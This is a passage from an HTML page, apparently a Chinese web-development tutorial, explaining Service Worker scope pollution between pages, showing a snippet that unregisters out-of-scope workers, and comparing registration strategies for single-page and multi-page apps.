&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#x4F1A;&#x6709;&#x4E9B;&#x4EC0;&#x4E48;&#x795E;&#x5947;&#x7684;&#x60C5;&#x51B5;&#x53D1;&#x751F;&#x3002;&#x9879;&#x76EE;&#x76EE;&#x5F55;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-bash\"><span class=\"token keyword\">.</span>\n&#x2514;&#x2500;&#x2500; serviceWorkerScopeDemo1\n    &#x251C;&#x2500;&#x2500; a/\n    &#x2502;   &#x251C;&#x2500;&#x2500; a-sw.js\n    &#x2502;   &#x2514;&#x2500;&#x2500; index.html\n    &#x251C;&#x2500;&#x2500; b/\n    &#x2502;   &#x2514;&#x2500;&#x2500; index.html\n    &#x2514;&#x2500;&#x2500; root-sw.js\n</code></pre>\n<p>&#x5982;&#x679C; <code>/a/index.html</code> &#x9875;&#x9762;&#x662F;&#x5982;&#x4E0B;&#x65B9;&#x5F0F;&#x6CE8;&#x518C; Service Worker&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token doctype\">&lt;!DOCTYPE html&gt;</span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>title</span><span class=\"token punctuation\">&gt;</span></span>Service Worker Scope DEMO1 PageA<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>title</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n      if (&apos;serviceWorker&apos; in navigator) {\n        navigator.serviceWorker.register(&apos;./a-sw.js&apos;)\n      }\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>html</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x800C; <code>/b/index.html</code> &#x9875;&#x9762;&#x662F;&#x5982;&#x4E0B;&#x65B9;&#x5F0F;&#x6CE8;&#x518C; Service Worker&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token doctype\">&lt;!DOCTYPE html&gt;</span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>title</span><span class=\"token punctuation\">&gt;</span></span>Service Worker Scope DEMO1 PageB<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>title</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n      if (&apos;serviceWorker&apos; in navigator) {\n        navigator.serviceWorker.register(&apos;../root-sw.js&apos;)\n      }\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>html</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p><code>http://127.0.0.1:8000/a/index.html</code> &#x9875;&#x9762;&#xFF08;&#x79F0;&#x4E3A; A &#x9875;&#x9762;&#xFF09;&#x5728; <code>/a/</code> &#x4F5C;&#x7528;&#x57DF;&#x4E0B;&#x6CE8;&#x518C;&#x4E86;&#x4E00;&#x4E2A; Service Worker&#xFF0C;&#x800C; <code>http://127.0.0.1:8000/b/index.html</code> &#x9875;&#x9762;&#xFF08;&#x79F0;&#x4E3A; B &#x9875;&#x9762;&#xFF09;&#x5728; <code>/</code> &#x4F5C;&#x7528;&#x57DF;&#x4E0B;&#x6CE8;&#x518C;&#x4E86;&#x4E00;&#x4E2A; Service Worker&#xFF0C;&#x8FD9;&#x79CD;&#x60C5;&#x51B5;&#x4E0B; B &#x9875;&#x9762;&#x7684; Service Worker &#x5C31;&#x53EF;&#x4EE5;&#x63A7;&#x5236; A &#x9875;&#x9762;&#xFF0C;&#x56E0;&#x4E3A; B &#x9875;&#x9762;&#x7684;&#x4F5C;&#x7528;&#x57DF;&#x662F;&#x5305;&#x542B; A &#x9875;&#x9762;&#x7684;&#x6700;&#x5927;&#x4F5C;&#x7528;&#x57DF;&#x7684;&#xFF0C;&#x8FD9;&#x4E2A;&#x65F6;&#x5019;&#x8FD9;&#x79CD;&#x60C5;&#x51B5;&#x5C31;&#x79F0;&#x4E4B;&#x4E3A;<strong>&#x4F5C;&#x7528;&#x57DF;&#x6C61;&#x67D3;</strong>&#xFF0C;&#x8FD9;&#x65F6;&#x5019;&#x5C31;&#x4F1A;&#x51FA;&#x73B0;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#x7684;&#x60C5;&#x51B5;&#xFF0C;A &#x9875;&#x9762;&#x88AB;&#x4E24;&#x4E2A; Service Worker &#x6240;&#x63A7;&#x5236;&#x3002;</p>\n<p><img src=\"img/service_worker_scope_pollute.png\" alt=\"Service Worker &#x4F5C;&#x7528;&#x57DF;&#x6C61;&#x67D3;\"></p>\n<p>&#x5728;&#x5F00;&#x53D1;&#x73AF;&#x5883;&#x5F00;&#x53D1;&#x8005;&#x5728; Chrome &#x6D4F;&#x89C8;&#x5668;&#x8FD8;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; Devtools &#x8FDB;&#x884C;&#x624B;&#x52A8; &#x201C;unregister&#x201D; &#x6765;&#x6E05;&#x9664;&#x6389;&#x6C61;&#x67D3;&#x7684; Service Worker&#xFF0C;&#x4F46;&#x662F;&#x5982;&#x679C;&#x5728;&#x7EBF;&#x4E0A;&#x73AF;&#x5883;&#x88AB;&#x5B89;&#x88C5;&#x4E86; Service Worker &#x4E4B;&#x540E;&#x8FD9;&#x5C31;&#x662F;&#x4E2A;&#x6301;&#x4E45;&#x7684;&#x8FC7;&#x7A0B;&#x3002;&#x9664;&#x975E;&#x7528;&#x6237;&#x624B;&#x52A8;&#x6E05;&#x9664;&#x5B58;&#x50A8;&#x7684;&#x7F13;&#x5B58;&#xFF08;&#x8FD9;&#x4E2A;&#x4E5F;&#x662F;&#x4E0D;&#x53EF;&#x80FD;&#x7684;&#xFF09;&#xFF0C;&#x5426;&#x5219;&#x5C31;&#x4F1A;&#x51FA;&#x73B0; Service Worker &#x4EA4;&#x53C9;&#x63A7;&#x5236;&#x9875;&#x9762;&#x7684;&#x95EE;&#x9898;&#x3002;</p>\n<p>&#x5F53;&#x7136;&#xFF0C;&#x7EBF;&#x4E0A;&#x51FA;&#x73B0;&#x4F5C;&#x7528;&#x57DF;&#x6C61;&#x67D3;&#x7684;&#x60C5;&#x51B5;&#x4E5F;&#x662F;&#x6709;&#x529E;&#x6CD5;&#x89E3;&#x51B3;&#x7684;&#xFF0C;&#x6BD4;&#x8F83;&#x5408;&#x7406;&#x7684;&#x4E00;&#x79CD;&#x505A;&#x6CD5;&#x662F;&#x5728; A &#x9875;&#x9762;&#x65B0;&#x4E0A;&#x7EBF;&#x7684; <code>/a/index.html</code> &#x7248;&#x672C;&#x4E2D;&#x6CE8;&#x518C; Service Worker &#x4E4B;&#x524D;&#x501F;&#x52A9; <code>navigator.serviceWorker.getRegistrations()</code> &#x65B9;&#x6CD5;&#x5C06;&#x6C61;&#x67D3;&#x7684; Service Worker &#x5148;&#x6CE8;&#x9500;&#x6389;&#xFF0C;&#x7136;&#x540E;&#x5728;&#x6CE8;&#x518C;&#x81EA;&#x5DF1;&#x7684;&#x6240;&#x5728;&#x4F5C;&#x7528;&#x57DF;&#x7684; Service Worker&#x3002;&#x5177;&#x4F53;&#x505A;&#x6CD5;&#x8FD8;&#x662F;&#x770B;&#x4E0B;&#x793A;&#x4F8B;&#xFF0C;&#x5C06; serviceWorkerScopeDemo1 &#x9879;&#x76EE;&#x7684; <code>/a/index.html</code> &#x6587;&#x4EF6;&#x4FEE;&#x6539;&#x540E;&#x4EE3;&#x7801;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token doctype\">&lt;!DOCTYPE html&gt;</span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>title</span><span class=\"token punctuation\">&gt;</span></span>Service Worker Scope Demo1 PageA<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>title</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n      if (&apos;serviceWorker&apos; in navigator) {\n        navigator.serviceWorker.getRegistrations()\n          .then(regs =&gt; {\n            for (let reg of regs) {\n              // &#x6CE8;&#x9500;&#x6389;&#x4E0D;&#x662F;&#x5F53;&#x524D;&#x4F5C;&#x7528;&#x57DF;&#x7684;&#x6240;&#x6709;&#x7684; Service Worker\n              if (reg.scope !== &apos;https://127.0.0.1:8000/a/&apos;) {\n                reg.unregister()\n              }\n            }\n            // &#x6CE8;&#x9500;&#x6389;&#x6C61;&#x67D3; Service Worker &#x4E4B;&#x540E;&#x518D;&#x91CD;&#x65B0;&#x6CE8;&#x518C;&#x81EA;&#x5DF1;&#x4F5C;&#x7528;&#x57DF;&#x7684; Service Worker\n            navigator.serviceWorker.register(&apos;./a-sw.js&apos;)\n          })\n      }\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>html</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x901A;&#x8FC7;&#x8FD9;&#x6837;&#x7684;&#x65B9;&#x5F0F;&#xFF0C;&#x8FD0;&#x884C; serviceWorkerDemo &#x9879;&#x76EE;&#x4F1A;&#x53D1;&#x73B0;&#xFF0C;A &#x9875;&#x9762;&#x53EA;&#x4F1A;&#x6709;&#x4E00;&#x4E2A;&#x88AB;&#x81EA;&#x5DF1;&#x6CE8;&#x518C;&#x7684; Service Worker &#x751F;&#x6548;&#xFF0C;&#x5728;&#x590D;&#x6742;&#x7684;&#x9879;&#x76EE;&#x67B6;&#x6784;&#x4E2D;&#xFF0C;Service Worker &#x7684;&#x4F5C;&#x7528;&#x57DF;&#x6C61;&#x67D3;&#x95EE;&#x9898;&#x4F1A;&#x7ECF;&#x5E38;&#x53D1;&#x751F;&#xFF0C;&#x5728;&#x8BBE;&#x8BA1; Service Worker &#x6CE8;&#x518C;&#x903B;&#x8F91;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x5C24;&#x5176;&#x662F;&#x5927;&#x578B;&#x7684; Web App &#x9879;&#x76EE;&#x7684;&#x65F6;&#x5019;&#x9700;&#x8981;&#x8003;&#x8651;&#x5230;&#x8FD9;&#x70B9;&#x3002;</p>\n<h2 id=\"service-worker-&#x6CE8;&#x518C;&#x8BBE;&#x8BA1;\"><a name=\"service-worker-&#x6CE8;&#x518C;&#x8BBE;&#x8BA1;\" class=\"anchor-navigation-ex-anchor\" href=\"#service-worker-&#x6CE8;&#x518C;&#x8BBE;&#x8BA1;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"service-worker-&#x6CE8;&#x518C;&#x8BBE;&#x8BA1;\" class=\"plugin-anchor\" href=\"#service-worker-&#x6CE8;&#x518C;&#x8BBE;&#x8BA1;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Service Worker &#x6CE8;&#x518C;&#x8BBE;&#x8BA1;</h2>\n<p>&#x7531;&#x4E8E; Service Worker &#x6CE8;&#x518C;&#x4F1A;&#x6709;&#x610F;&#x60F3;&#x4E0D;&#x5230;&#x7684;&#x4F5C;&#x7528;&#x57DF;&#x6C61;&#x67D3;&#x95EE;&#x9898;&#xFF0C;&#x800C; Web App &#x9879;&#x76EE;&#x53C8;&#x6709;&#x591A;&#x79CD;&#x5F62;&#x5F0F;&#x5B58;&#x5728;&#xFF0C;&#x6709; SPA&#xFF08;&#x5355;&#x9875;&#x9762;&#x5E94;&#x7528;&#xFF09;&#xFF0C;MPA&#xFF08;&#x591A;&#x9875;&#x9762;&#x5E94;&#x7528;&#xFF09;&#x7B49;&#x67B6;&#x6784;&#x65B9;&#x5F0F;&#xFF0C;&#x90A3;&#x5230;&#x5E95;&#x600E;&#x4E48;&#x8FDB;&#x884C; Service Worker &#x6CE8;&#x518C;&#x624D;&#x5408;&#x9002;&#x5462;&#xFF1F;</p>\n<h3 id=\"spa-&#x6CE8;&#x518C;-service-worker\"><a name=\"spa-&#x6CE8;&#x518C;-service-worker\" class=\"anchor-navigation-ex-anchor\" href=\"#spa-&#x6CE8;&#x518C;-service-worker\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"spa-&#x6CE8;&#x518C;-service-worker\" class=\"plugin-anchor\" href=\"#spa-&#x6CE8;&#x518C;-service-worker\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>SPA &#x6CE8;&#x518C; Service Worker</h3>\n<p>SPA &#x5728;&#x5DE5;&#x7A0B;&#x67B6;&#x6784;&#x4E0A;&#x53EA;&#x6709;&#x4E00;&#x4E2A; <code>index.html</code> &#x7684;&#x5165;&#x53E3;&#xFF0C;&#x7AD9;&#x70B9;&#x7684;&#x5185;&#x5BB9;&#x90FD;&#x662F;&#x5F02;&#x6B65;&#x8BF7;&#x6C42;&#x6570;&#x636E;&#x4E4B;&#x540E;&#x5728;&#x524D;&#x7AEF;&#x6E32;&#x67D3;&#x7684;&#xFF0C;&#x5E94;&#x7528;&#x4E2D;&#x7684;&#x9875;&#x9762;&#x5207;&#x6362;&#x90FD;&#x662F;&#x5728;&#x524D;&#x7AEF;&#x8DEF;&#x7531;&#x63A7;&#x5236;&#x7684;&#x3002;</p>\n<p>&#x901A;&#x5E38;&#x4F1A;&#x5C06;&#x8FD9;&#x4E2A; <code>index.html</code> &#x90E8;&#x7F72;&#x5230; <code>https://somehost</code>&#xFF0C;SPA &#x7684; Service Worker &#x53EA;&#x9700;&#x8981;&#x5728; <code>index.html</code> &#x4E2D;&#x6CE8;&#x518C;&#x4E00;&#x6B21;&#x3002;&#x6240;&#x4EE5;&#x4E00;&#x822C;&#x4F1A;&#x5C06; <code>sw.js</code> &#x76F4;&#x63A5;&#x653E;&#x5728;&#x7AD9;&#x70B9;&#x7684;&#x6839;&#x76EE;&#x5F55;&#x4FDD;&#x8BC1;&#x53EF;&#x8BBF;&#x95EE;&#xFF0C;&#x4E5F;&#x5C31;&#x662F;&#x8BF4; Service Worker &#x7684;&#x4F5C;&#x7528;&#x57DF;&#x901A;&#x5E38;&#x5C31;&#x662F; <code>/</code>&#xFF0C;&#x8FD9;&#x6837; Service Worker &#x80FD;&#x591F;&#x63A7;&#x5236; <code>index.html</code>&#xFF0C;&#x4ECE;&#x800C;&#x63A7;&#x5236;&#x6574;&#x4E2A; SPA &#x7684;&#x7F13;&#x5B58;&#x3002;</p>\n<p>SPA &#x6BCF;&#x6B21;&#x8DEF;&#x7531;&#x7684;&#x5207;&#x6362;&#x90FD;&#x662F;&#x524D;&#x7AEF;&#x6E32;&#x67D3;&#x7684;&#xFF0C;&#x8FD9;&#x4E2A;&#x8FC7;&#x7A0B;&#x672C;&#x8D28;&#x4E0A;&#x8FD8;&#x662F;&#x5728; <code>index.html</code> &#x4E0A;&#x7684;&#x524D;&#x7AEF;&#x4EA4;&#x4E92;&#x3002;&#x901A;&#x5E38; Service Worker &#x4F1A;&#x9884;&#x5148;&#x7F13;&#x5B58; SPA &#x4E2D;&#x7684; AppShell &#x6240;&#x9700;&#x7684;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x4EE5;&#x53CA; <code>index.html</code>&#x3002;&#x5F53;&#x7136;&#x6709;&#x4E00;&#x79CD;&#x60C5;&#x51B5;&#x6BD4;&#x8F83;&#x7279;&#x6B8A;&#xFF0C;&#x5F53;&#x7528;&#x6237;&#x4ECE; <code>https://somehost/a</code> &#x9875;&#x9762;&#x5207;&#x6362;&#x5230; <code>https://somehost/b</code> &#x9875;&#x9762;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x8FD9;&#x65F6;&#x5019;&#x5237;&#x65B0;&#x9875;&#x9762;&#x9996;&#x5148;&#x6E32;&#x67D3;&#x7684;&#x8FD8;&#x662F; <code>index.html</code>&#xFF0C;&#x5728;&#x6267;&#x884C; SPA &#x7684;&#x8DEF;&#x7531;&#x903B;&#x8F91;&#x4E4B;&#x540E;&#xFF0C;&#x901A;&#x8FC7; SPA &#x524D;&#x7AEF;&#x8DEF;&#x7531;&#x7684;&#x5904;&#x7406;&#xFF0C;&#x7EE7;&#x7EED;&#x5728;&#x524D;&#x7AEF;&#x6E32;&#x67D3;&#x76F8;&#x5E94;&#x7684;&#x8DEF;&#x7531;&#x5BF9;&#x5E94;&#x7684;&#x6E32;&#x67D3;&#x903B;&#x8F91;&#xFF0C;&#x8FD9;&#x90E8;&#x5206;&#x7684;&#x903B;&#x8F91;&#x90FD;&#x662F;&#x5728;&#x5DF2;&#x7ECF;&#x7F13;&#x5B58;&#x7684; JavaScript &#x4E2D;&#x5B8C;&#x6210;&#x4E86;&#x3002;</p>\n<h3 id=\"mpa-&#x6CE8;&#x518C;-service-worker\"><a name=\"mpa-&#x6CE8;&#x518C;-service-worker\" class=\"anchor-navigation-ex-anchor\" href=\"#mpa-&#x6CE8;&#x518C;-service-worker\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"mpa-&#x6CE8;&#x518C;-service-worker\" class=\"plugin-anchor\" href=\"#mpa-&#x6CE8;&#x518C;-service-worker\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>MPA &#x6CE8;&#x518C; Service Worker</h3>\n<p>MPA &#x8FD9;&#x79CD;&#x67B6;&#x6784;&#x7684;&#x6A21;&#x5F0F;&#x5728;&#x73B0;&#x5982;&#x4ECA;&#x7684;&#x5927;&#x578B; Web App &#x975E;&#x5E38;&#x5E38;&#x89C1;&#xFF0C;&#x8FD9;&#x79CD; Web App &#x76F8;&#x6BD4;&#x8F83;&#x4E8E; SPA &#x80FD;&#x591F;&#x627F;&#x53D7;&#x66F4;&#x91CD;&#x7684;&#x4E1A;&#x52A1;&#x4F53;&#x91CF;&#xFF0C;&#x5E76;&#x4E14;&#x5229;&#x4E8E;&#x5927;&#x578B; Web App &#x7684;&#x540E;&#x671F;&#x7EF4;&#x62A4;&#x548C;&#x6269;&#x5C55;&#x3002;MPA &#x53EF;&#x4EE5;&#x7406;&#x89E3;&#x4E3A;&#x662F;&#x6709;&#x591A;&#x4E2A; HTML &#x6587;&#x4EF6;&#x5BF9;&#x5E94;&#x7740;&#x591A;&#x4E2A;&#x4E0D;&#x540C;&#x7684;&#x670D;&#x52A1;&#x7AEF;&#x8DEF;&#x7531;&#xFF0C;&#x4E5F;&#x5C31;&#x662F;&#x8BF4; <code>https://somehost/a</code> &#x6620;&#x5C04;&#x5230; <code>a.html</code>&#xFF0C;<code>https://somehost/b</code> &#x6620;&#x5C04;&#x5230; <code>b.html</code>&#x3002;</p>\n<p>&#x90A3;&#x4E48; MPA &#x67B6;&#x6784;&#x4E0B;&#x600E;&#x4E48;&#x53BB;&#x6CE8;&#x518C; Service Worker &#x5462;&#xFF1F;&#x662F;&#x4E0D;&#x540C;&#x7684;&#x9875;&#x9762;&#x6CE8;&#x518C;&#x4E0D;&#x540C;&#x7684; Service Worker&#xFF0C;&#x8FD8;&#x662F;&#x6240;&#x6709;&#x7684;&#x9875;&#x9762;&#x90FD;&#x6CE8;&#x518C;&#x540C;&#x4E00;&#x4E2A; Service Worker&#xFF1F;&#x7ED3;&#x8BBA;&#x662F;&#xFF1A;&#x9700;&#x8981;&#x6839;&#x636E;&#x5B9E;&#x9645;&#x60C5;&#x51B5;&#x6765;&#x5B9A;&#x3002;</p>\n<h4 id=\"mpa-&#x6CE8;&#x518C;&#x5355;&#x4E2A;-service-worker\"><a name=\"mpa-&#x6CE8;&#x518C;&#x5355;&#x4E2A;-service-worker\" class=\"anchor-navigation-ex-anchor\" href=\"#mpa-&#x6CE8;&#x518C;&#x5355;&#x4E2A;-service-worker\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"mpa-&#x6CE8;&#x518C;&#x5355;&#x4E2A;-service-worker\" class=\"plugin-anchor\" href=\"#mpa-&#x6CE8;&#x518C;&#x5355;&#x4E2A;-service-worker\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>MPA &#x6CE8;&#x518C;&#x5355;&#x4E2A; Service Worker</h4>\n<p>&#x5728;&#x6BCF;&#x4E2A;&#x9875;&#x9762;&#x4E4B;&#x95F4;&#x7684;&#x4E1A;&#x52A1;&#x76F8;&#x4F3C;&#x5EA6;&#x8F83;&#x9AD8;&#xFF0C;&#x6216;&#x8005;&#x6BCF;&#x4E2A;&#x9875;&#x9762;&#x4E4B;&#x95F4;&#x7684;&#x516C;&#x5171;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x6216;&#x5F02;&#x6B65;&#x8BF7;&#x6C42;&#x8F83;&#x591A;&#xFF0C;&#x8FD9;&#x79CD; MPA &#x662F;&#x975E;&#x5E38;&#x9002;&#x5408;&#x5728;&#x6240;&#x6709;&#x7684;&#x9875;&#x9762;&#x53EA;&#x6CE8;&#x518C;&#x4E00;&#x4E2A; Service Worker&#x3002;</p>\n<p>&#x4F8B;&#x5982; <code>https://somehost/a</code> &#x548C; <code>htps://somehost/b</code> &#x4E4B;&#x95F4;&#x7684;&#x516C;&#x5171;&#x5185;&#x5BB9;&#x8F83;&#x591A;&#xFF0C;&#x5219;&#x901A;&#x5E38;&#x60C5;&#x51B5;&#x4E0B;&#x5728; <code>/</code> &#x4F5C;&#x7528;&#x57DF;&#x4E0B;&#x6CE8;&#x518C;&#x4E00;&#x4E2A; Service Worker&#x3002;&#x8FD9;&#x6837;&#x8FD9;&#x4E2A; Service Worker &#x80FD;&#x591F;&#x63A7;&#x5236; <code>https://somehost</code> &#x57DF;&#x4E0B;&#x7684;&#x6240;&#x6709;&#x9875;&#x9762;&#x3002;</p>\n<p>MPA &#x7EF4;&#x62A4;&#x5355;&#x4E2A; Service Worker &#x6709;&#x5982;&#x4E0B;&#x7279;&#x70B9;&#xFF1A;</p>\n<ul>\n<li>&#x53EF;&#x4EE5;&#x7EDF;&#x4E00;&#x7BA1;&#x7406;&#x6574;&#x4E2A;&#x7AD9;&#x70B9;&#x7684;&#x7F13;&#x5B58;&#x3002;</li>\n<li>&#x4E0D;&#x4F1A;&#x9020;&#x6210;&#x9875;&#x9762;&#x4E4B;&#x95F4;&#x7684;&#x4F5C;&#x7528;&#x57DF;&#x6C61;&#x67D3;&#x3002;</li>\n<li>&#x540E;&#x671F;&#x7EF4;&#x62A4;&#x6210;&#x672C;&#x76F8;&#x5BF9;&#x8F83;&#x4F4E;&#x3002;</li>\n</ul>\n<h4 id=\"mpa-&#x6CE8;&#x518C;&#x591A;&#x4E2A;-service-worker\"><a name=\"mpa-&#x6CE8;&#x518C;&#x591A;&#x4E2A;-service-worker\" class=\"anchor-navigation-ex-anchor\" href=\"#mpa-&#x6CE8;&#x518C;&#x591A;&#x4E2A;-service-worker\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"mpa-&#x6CE8;&#x518C;&#x591A;&#x4E2A;-service-worker\" class=\"plugin-anchor\" href=\"#mpa-&#x6CE8;&#x518C;&#x591A;&#x4E2A;-service-worker\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>MPA &#x6CE8;&#x518C;&#x591A;&#x4E2A; Service Worker</h4>\n<p>MPA &#x6CE8;&#x518C;&#x591A;&#x4E2A; Service Worker &#x9002;&#x7528;&#x4E8E;&#x4E3B;&#x7AD9;&#x975E;&#x5E38;&#x5E9E;&#x5927;&#x7684; Web App&#xFF0C;&#x5E76;&#x4E14;&#x662F;&#x4EE5; path &#x5206;&#x9694;&#x7684;&#x5F62;&#x5F0F;&#x94FA;&#x5C55;&#x5782;&#x7C7B;&#x5B50;&#x7AD9;&#x7684;&#x5927;&#x578B; Web App&#xFF0C;&#x8FD9;&#x79CD;&#x60C5;&#x51B5;&#x4E0B;&#x5C31;&#x4E0D;&#x9002;&#x5408;&#x53EA;&#x5728; <code>/</code> &#x4F5C;&#x7528;&#x57DF;&#x4E0B;&#x53EA;&#x6CE8;&#x518C;&#x4E00;&#x4E2A; Service Worker &#x4E86;&#x3002;</p>\n<p>&#x4F8B;&#x5982;&#xFF1A;<code>https://somehost/a</code> &#x548C; <code>https://somehost/b</code> &#x51E0;&#x4E4E;&#x662F;&#x4E24;&#x4E2A;&#x7AD9;&#x70B9;&#xFF0C;&#x5176;&#x4E2D;&#x516C;&#x5171;&#x4F7F;&#x7528;&#x7684;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x6216;&#x5F02;&#x6B65;&#x8BF7;&#x6C42;&#x975E;&#x5E38;&#x5C11;&#xFF0C;&#x5219;&#x6BD4;&#x8F83;&#x9002;&#x5408;&#x6BCF;&#x4E2A;&#x5B50;&#x7AD9;&#x6CE8;&#x518C;&#x7EF4;&#x62A4;&#x81EA;&#x5DF1;&#x7684; Service Worker&#xFF0C;<code>https://somehost/a</code> &#x6CE8;&#x518C; Servcie Worker &#x7684;&#x4F5C;&#x7528;&#x57DF;&#x4E3A; <code>/a/</code>&#xFF0C;&#x6700;&#x597D;&#x662F;&#x5B58;&#x5728; <code>/a/sw.js</code> &#x5BF9;&#x5E94;&#x7684; Service Worker &#x6587;&#x4EF6; URL &#x53EF;&#x8BBF;&#x95EE;&#xFF0C;&#x5C3D;&#x91CF;&#x4E0D;&#x8981;&#x4F7F;&#x7528;&#x67D0;&#x4E00;&#x4E2A;&#x516C;&#x7528;&#x7684; <code>/sw.js</code> &#x5E76;&#x4F7F;&#x7528; scope &#x53C2;&#x6570;&#x6765;&#x81EA;&#x5B9A;&#x4E49;&#x4F5C;&#x7528;&#x57DF;&#xFF0C;&#x8FD9;&#x6837;&#x4F1A;&#x589E;&#x52A0;&#x540E;&#x671F;&#x7684;&#x7EF4;&#x62A4;&#x6210;&#x672C;&#x4EE5;&#x53CA;&#x589E;&#x52A0;&#x51FA;&#x73B0; bug &#x7684;&#x98CE;&#x9669;&#x3002;</p>\n<p>&#x5B50;&#x7AD9;&#x5728;&#x5B9E;&#x73B0;&#x4E0A;&#x8FD8;&#x8981;&#x8003;&#x8651;&#x4E00;&#x70B9;&#x662F;&#xFF0C;&#x9632;&#x6B62;&#x5176;&#x4ED6;&#x9875;&#x9762;&#x7684; Service Worker &#x5BF9;&#x81EA;&#x8EAB;&#x9875;&#x9762;&#x9020;&#x6210;&#x6C61;&#x67D3;&#xFF0C;&#x9700;&#x8981;&#x5728;&#x6CE8;&#x518C;&#x5B50;&#x7AD9; Service Worker &#x4E4B;&#x524D;&#x5C06;&#x4E0D;&#x662F;&#x5B50;&#x7AD9; path &#x4F5C;&#x7528;&#x57DF;&#x7684; Service Worker &#x5148;&#x6CE8;&#x9500;&#x6389;&#x3002;</p>\n<p>&#x6CE8;&#x518C;&#x591A;&#x4E2A; Service Worker &#x6709;&#x5982;&#x4E0B;&#x7279;&#x70B9;&#xFF1A;</p>\n<ul>\n<li>&#x9700;&#x8981;&#x4E25;&#x683C;&#x8981;&#x6C42;&#x6BCF;&#x4E2A;&#x5B50;&#x7AD9;&#x7BA1;&#x7406;&#x597D;&#x81EA;&#x5DF1;&#x7684; <code>sw.js</code> &#x53CA;&#x4F5C;&#x7528;&#x57DF;&#x3002;</li>\n<li>&#x9632;&#x6B62;&#x5BF9;&#x5176;&#x4ED6;&#x5B50;&#x7AD9;&#x7684; Service Worker 